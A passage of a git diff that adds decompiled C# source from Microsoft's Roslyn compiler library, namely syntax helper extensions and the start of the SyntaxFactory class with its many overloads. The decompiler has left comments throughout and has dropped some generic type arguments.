//IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return syntax.Update(attributeLists, modifiers, returnType, explicitInterfaceSpecifier, identifier, typeParameterList, parameterList, constraintClauses, block, null, semicolonToken); + } + + internal static CSharpSyntaxNode? GetContainingDeconstruction(this ExpressionSyntax expr) + { + SyntaxKind syntaxKind = expr.Kind(); + if (syntaxKind != SyntaxKind.TupleExpression && syntaxKind != SyntaxKind.DeclarationExpression && syntaxKind != SyntaxKind.IdentifierName) + { + return null; + } + while (true) + { + CSharpSyntaxNode parent = expr.Parent; + if (parent == null) + { + break; + } + switch (parent.Kind()) + { + case SyntaxKind.Argument: + { + CSharpSyntaxNode? parent2 = parent.Parent; + if (parent2 == null || parent2.Kind() != SyntaxKind.TupleExpression) + { + return null; + } + break; + } + case SyntaxKind.SimpleAssignmentExpression: + if (((AssignmentExpressionSyntax)parent).Left == expr) + { + return parent; + } + return null; + case SyntaxKind.ForEachVariableStatement: + if (((ForEachVariableStatementSyntax)parent).Variable == expr) + { + return parent; + } + return null; + default: + return null; + } + expr = (TupleExpressionSyntax)parent.Parent; + } + return null; + } + + internal static bool IsOutDeclaration(this DeclarationExpressionSyntax p) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode? parent = p.Parent; + if (parent != null && parent.Kind() == SyntaxKind.Argument) + { + return ((ArgumentSyntax)p.Parent).RefOrOutKeyword.Kind() == SyntaxKind.OutKeyword; + } + return false; + } + + internal static bool IsOutVarDeclaration(this DeclarationExpressionSyntax p) + { + if (p.Designation.Kind() == SyntaxKind.SingleVariableDesignation) + { + return p.IsOutDeclaration(); + } + return false; + } + + internal static void VisitRankSpecifiers(this TypeSyntax type, Action action, in TArg argument) + { + //IL_022b: Unknown result type (might be due to invalid IL or missing references) + //IL_0230: Unknown result type (might be due to invalid IL or missing references) + //IL_00c9: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + //IL_0153: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_0247: Unknown result type (might be due to invalid IL or missing references) + //IL_024c: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Unknown result type (might be due to invalid IL or missing references) + //IL_016e: Unknown result type (might be due to invalid IL or missing references) + //IL_0173: Unknown result type (might be due to invalid IL or missing references) + //IL_01be: Unknown result type (might be due to invalid IL or missing references) + //IL_01c3: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)type); + while (instance.Count > 0) + { + SyntaxNode val = ArrayBuilderExtensions.Pop(instance); + if (val is ArrayRankSpecifierSyntax arg) + { + action(arg, argument); + continue; + } + type = (TypeSyntax)(object)val; + switch (type.Kind()) + { + case SyntaxKind.ArrayType: + { + ArrayTypeSyntax arrayTypeSyntax = (ArrayTypeSyntax)type; + for (int num4 = arrayTypeSyntax.RankSpecifiers.Count - 1; num4 >= 0; num4--) + { + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)arrayTypeSyntax.RankSpecifiers[num4]); + } + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)arrayTypeSyntax.ElementType); + break; + } + case SyntaxKind.NullableType: + { + NullableTypeSyntax nullableTypeSyntax = (NullableTypeSyntax)type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)nullableTypeSyntax.ElementType); + break; + } + case SyntaxKind.PointerType: + { + PointerTypeSyntax pointerTypeSyntax = (PointerTypeSyntax)type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)pointerTypeSyntax.ElementType); + break; + } + case SyntaxKind.FunctionPointerType: + { + FunctionPointerTypeSyntax functionPointerTypeSyntax = (FunctionPointerTypeSyntax)type; + for (int num3 = functionPointerTypeSyntax.ParameterList.Parameters.Count - 1; num3 >= 0; num3--) + { + TypeSyntax type2 = functionPointerTypeSyntax.ParameterList.Parameters[num3].Type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)type2); + } + break; + } + case SyntaxKind.TupleType: + { + TupleTypeSyntax tupleTypeSyntax = (TupleTypeSyntax)type; + for (int num2 = tupleTypeSyntax.Elements.Count - 1; num2 >= 0; num2--) + { + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)tupleTypeSyntax.Elements[num2].Type); + } + break; + } + case SyntaxKind.RefType: + { + RefTypeSyntax refTypeSyntax = (RefTypeSyntax)type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)refTypeSyntax.Type); + break; + } + case SyntaxKind.ScopedType: + { + ScopedTypeSyntax scopedTypeSyntax = (ScopedTypeSyntax)type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)scopedTypeSyntax.Type); + break; + } + case SyntaxKind.GenericName: + { + GenericNameSyntax genericNameSyntax = (GenericNameSyntax)type; + for (int num = genericNameSyntax.TypeArgumentList.Arguments.Count - 1; num >= 0; num--) + { + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)genericNameSyntax.TypeArgumentList.Arguments[num]); + } + break; + } + case SyntaxKind.QualifiedName: + { + QualifiedNameSyntax qualifiedNameSyntax = (QualifiedNameSyntax)type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)qualifiedNameSyntax.Right); + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)qualifiedNameSyntax.Left); + break; + } + case SyntaxKind.AliasQualifiedName: + { + AliasQualifiedNameSyntax aliasQualifiedNameSyntax = (AliasQualifiedNameSyntax)type; + ArrayBuilderExtensions.Push(instance, (SyntaxNode)(object)aliasQualifiedNameSyntax.Name); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)type.Kind()); + case SyntaxKind.IdentifierName: + case SyntaxKind.PredefinedType: + case SyntaxKind.OmittedTypeArgument: + break; + } + } + instance.Free(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxFactory.cs new file mode 100644 index 0000000..af19871 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SyntaxFactory.cs @@ -0,0 +1,10832 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.ComponentModel; +using System.Linq; +using System.Text; +using System.Threading; +using System.Xml.Linq; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Syntax; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class SyntaxFactory +{ + public static SyntaxTrivia CarriageReturnLineFeed { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CarriageReturnLineFeed; + + public static SyntaxTrivia LineFeed { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.LineFeed; + + public static SyntaxTrivia CarriageReturn { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.CarriageReturn; + + public static SyntaxTrivia Space { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Space; + + public static SyntaxTrivia Tab { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.Tab; + + public static SyntaxTrivia ElasticCarriageReturnLineFeed { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElasticCarriageReturnLineFeed; + + public static SyntaxTrivia ElasticLineFeed { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElasticLineFeed; + + public static SyntaxTrivia ElasticCarriageReturn { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElasticCarriageReturn; + + public static SyntaxTrivia ElasticSpace { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElasticSpace; + + public static SyntaxTrivia ElasticTab { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElasticTab; + + public static SyntaxTrivia ElasticMarker { get; } = Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ElasticZeroSpace; + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax AnonymousMethodExpression() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + return SyntaxFactory.AnonymousMethodExpression(default(SyntaxToken), Token(SyntaxKind.DelegateKeyword), (Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax)null, Block(), (Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax)null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AnonymousMethodExpressionSyntax AnonymousMethodExpression(SyntaxToken asyncKeyword, SyntaxToken delegateKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return AnonymousMethodExpression(TokenList(asyncKeyword), delegateKeyword, parameterList, block, expressionBody); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax Block(SyntaxToken openBraceToken, SyntaxList statements, SyntaxToken closeBraceToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return Block(default(SyntaxList), openBraceToken, statements, closeBraceToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.BreakStatementSyntax BreakStatement(SyntaxToken breakKeyword, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return BreakStatement(default(SyntaxList), breakKeyword, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.CheckedStatementSyntax CheckedStatement(SyntaxKind kind, SyntaxToken keyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return CheckedStatement(kind, default(SyntaxList), keyword, block); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax? initializer, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax body) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, body, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax? initializer, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, body, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax initializer, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, null, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorDeclarationSyntax ConstructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ConstructorInitializerSyntax initializer, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ConstructorDeclaration(attributeLists, modifiers, identifier, parameterList, initializer, null, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ContinueStatementSyntax ContinueStatement(SyntaxToken continueKeyword, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return ContinueStatement(default(SyntaxList), continueKeyword, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax body) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(attributeLists, modifiers, Token(SyntaxKind.TildeToken), identifier, parameterList, body, null, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax? body, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(attributeLists, modifiers, tildeToken, identifier, parameterList, body, null, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(attributeLists, modifiers, Token(SyntaxKind.TildeToken), identifier, parameterList, null, expressionBody, default(SyntaxToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DestructorDeclarationSyntax DestructorDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, SyntaxToken tildeToken, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.ParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.ArrowExpressionClauseSyntax expressionBody, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return DestructorDeclaration(attributeLists, modifiers, tildeToken, identifier, parameterList, null, expressionBody, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.DoStatementSyntax DoStatement(SyntaxToken doKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, SyntaxToken whileKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken closeParenToken, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return DoStatement(default(SyntaxList), doKeyword, statement, whileKeyword, openParenToken, condition, closeParenToken, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.EmptyStatementSyntax EmptyStatement(SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return EmptyStatement(default(SyntaxList), semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionStatementSyntax ExpressionStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return ExpressionStatement(default(SyntaxList), expression, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FixedStatementSyntax FixedStatement(SyntaxToken fixedKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax declaration, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return FixedStatement(default(SyntaxList), fixedKeyword, openParenToken, declaration, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax ForEachStatement(SyntaxToken forEachKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ForEachStatement(default(SyntaxToken), forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachStatementSyntax ForEachStatement(SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, SyntaxToken identifier, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return ForEachStatement(default(SyntaxList), awaitKeyword, forEachKeyword, openParenToken, type, identifier, inKeyword, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax ForEachVariableStatement(SyntaxToken forEachKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax variable, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return ForEachVariableStatement(default(SyntaxToken), forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForEachVariableStatementSyntax ForEachVariableStatement(SyntaxToken awaitKeyword, SyntaxToken forEachKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax variable, SyntaxToken inKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + return ForEachVariableStatement(default(SyntaxList), awaitKeyword, forEachKeyword, openParenToken, variable, inKeyword, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax ForStatement(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? condition, SeparatedSyntaxList incrementors, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return ForStatement(default(SyntaxList), declaration, initializers, condition, incrementors, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ForStatementSyntax ForStatement(SyntaxToken forKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + return ForStatement(default(SyntaxList), forKeyword, openParenToken, declaration, initializers, firstSemicolonToken, condition, secondSemicolonToken, incrementors, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax GotoStatement(SyntaxKind kind, SyntaxToken caseOrDefaultKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + return GotoStatement(kind, default(SyntaxList), caseOrDefaultKeyword, expression); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GotoStatementSyntax GotoStatement(SyntaxKind kind, SyntaxToken gotoKeyword, SyntaxToken caseOrDefaultKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return GotoStatement(kind, default(SyntaxList), gotoKeyword, caseOrDefaultKeyword, expression, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax IfStatement(Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax? @else) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return IfStatement(default(SyntaxList), condition, statement, @else); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IfStatementSyntax IfStatement(SyntaxToken ifKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement, Microsoft.CodeAnalysis.CSharp.Syntax.ElseClauseSyntax? @else) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return IfStatement(default(SyntaxList), ifKeyword, openParenToken, condition, closeParenToken, statement, @else); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IndexerDeclarationSyntax IndexerDeclaration(SyntaxList attributeLists, SyntaxTokenList modifiers, Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax type, Microsoft.CodeAnalysis.CSharp.Syntax.ExplicitInterfaceSpecifierSyntax? explicitInterfaceSpecifier, Microsoft.CodeAnalysis.CSharp.Syntax.BracketedParameterListSyntax parameterList, Microsoft.CodeAnalysis.CSharp.Syntax.AccessorListSyntax? accessorList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return IndexerDeclaration(attributeLists, modifiers, type, explicitInterfaceSpecifier, parameterList, accessorList, null); + } + + 